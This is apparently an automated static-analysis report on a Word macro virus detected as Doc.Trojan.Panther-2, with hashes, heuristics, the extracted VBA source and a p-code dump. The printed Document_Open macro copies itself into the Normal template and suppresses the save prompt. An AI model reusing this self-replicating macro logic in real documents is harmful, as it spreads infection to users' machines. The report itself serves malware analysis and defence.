Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ac5c07c7e3574db4…

MALICIOUS

Office (OLE)

27.5 KB Created: 1997-04-26 16:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8e27dd08ab2e641d127edf3c51ce70ba SHA-1: 3afedbb16afb886953afdc56ac167c2576b8853b SHA-256: ac5c07c7e3574db46026e95ed826671f3f0124dad99ec25564ac0307d37f52b6
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, specifically a Document_Open macro designed to execute code when the document is opened. The ClamAV detection 'Doc.Trojan.Panther-2' strongly suggests malicious intent, likely involving the download and execution of a secondary payload. The macro's logic appears to manipulate template code, a common technique for obfuscation or payload delivery.

Heuristics 3

  • ClamAV: Doc.Trojan.Panther-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Panther-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5119 bytes
SHA-256: 1bbba509b6c6407bcdc4887245035ec7035293e14d6298a723f1d0df2bebfa70
Detection
ClamAV: Doc.Trojan.Panther-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Sub DisableAV()
j = 1
k = 1
t = 0
    Do While Not EOF(1)
        Line Input #1, a
        If t = 1 Or t = 3 Then
End Sub
Private Sub Document_Open()
    Dim code As String
    If Left$(NormalTemplate.Name, 8) <> "Document" Then
        Options.VirusProtection = True
        With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
            code = .Lines(1, .CountOfLines)
            ReplaceTemplate code, "Normal", "Template", "Happy", "Panther"
            ReplaceTemplate code, "Active", "Document", "Normal", "Template"
            ReplaceTemplate code, "Happy", "Panther", "Active", "Document"
            With NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
                .DeleteLines 1, .CountOfLines
                .AddFromString code
            End With
        End With
        Options.SaveNormalPrompt = False
        If InStr("NormalTemplate", "Document") > 0 Then
        End If
    End If
End Sub
Private Sub ReplaceTemplate(target As String, prepre As String, prepost As String, postpre As String, postpost As String)
    Dim index As Long, pre As String, post As String, preLen As Long
    
    pre = prepre + prepost
    post = postpre + postpost
    
    index = 1
    preLen = Len(pre)
    
    While InStr(index, target, pre) <> 0
        index = InStr(index, target, pre)
        target = Left(target, index - 1) + post + Mid$(target, index + preLen)
        index = index + 1
    Wend
End Sub

' Processing file: /opt/analyzer/scan_staging/785b8d337b9845ed8200dbb89688f7c6.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3364 bytes
' Line #0:
' 	FuncDefn (Public Sub DisableAV())
' Line #1:
' 	LitDI2 0x0001 
' 	St j 
' Line #2:
' 	LitDI2 0x0001 
' 	St k 
' Line #3:
' 	LitDI2 0x0000 
' 	St t 
' Line #4:
' 	LitDI2 0x0001 
' 	ArgsLd EOF 0x0001 
' 	Not 
' 	DoWhile 
' Line #5:
' 	LitDI2 0x0001 
' 	Ld a 
' 	LineInput 
' Line #6:
' 	Ld t 
' 	LitDI2 0x0001 
' 	Eq 
' 	Ld t 
' 	LitDI2 0x0003 
' 	Eq 
' 	Or 
' 	IfBlock 
' Line #7:
' 	EndSub 
' Line #8:
' 	FuncDefn (Private Sub Document_Open())
' Line #9:
' 	Dim 
' 	VarDefn code (As String)
' Line #10:
' 	Ld NormalTemplate 
' 	MemLd New 
' 	LitDI2 0x0008 
' 	ArgsLd LBound$ 0x0002 
' 	LitStr 0x0008 "Document"
' 	Ne 
' 	IfBlock 
' Line #11:
' 	LitVarSpecial (True)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #12:
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	With 
' Line #13:
' 	LitDI2 0x0001 
' 	MemLdWith CountOfLines 
' 	ArgsMemLdWith Lines 0x0002 
' 	St code 
' Line #14:
' 	Ld code 
' 	LitStr 0x0006 "Normal"
' 	LitStr 0x0008 "Template"
' 	LitStr 0x0005 "Happy"
' 	LitStr 0x0007 "Panther"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #15:
' 	Ld code 
' 	LitStr 0x0006 "Active"
' 	LitStr 0x0008 "Document"
' 	LitStr 0x0006 "Normal"
' 	LitStr 0x0008 "Template"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #16:
' 	Ld code 
' 	LitStr 0x0005 "Happy"
' 	LitStr 0x0007 "Panther"
' 	LitStr 0x0006 "Active"
' 	LitStr 0x0008 "Document"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #17:
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	With 
' Line #18:
' 	LitDI2 0x0001 
' 	MemLdWith CountOfLines 
' 	ArgsMemCallWith DeleteLines 0x0002 
' Line #19:
' 	Ld code 
' 	ArgsMemCallWith AddFromString 0x0001 
' Line #20:
' 	EndWith 
' Line #21:
' 	EndWith 
' Line #22:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #23:
' 	LitStr 0x000E "NormalTemplate"
' 	LitStr 0x0008 "Document"
' 	FnInStr 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #24:
' 	EndIfBlock 
' Line #25:
' 	EndIfBlock 
' Line #26:
' 	
... (truncated)

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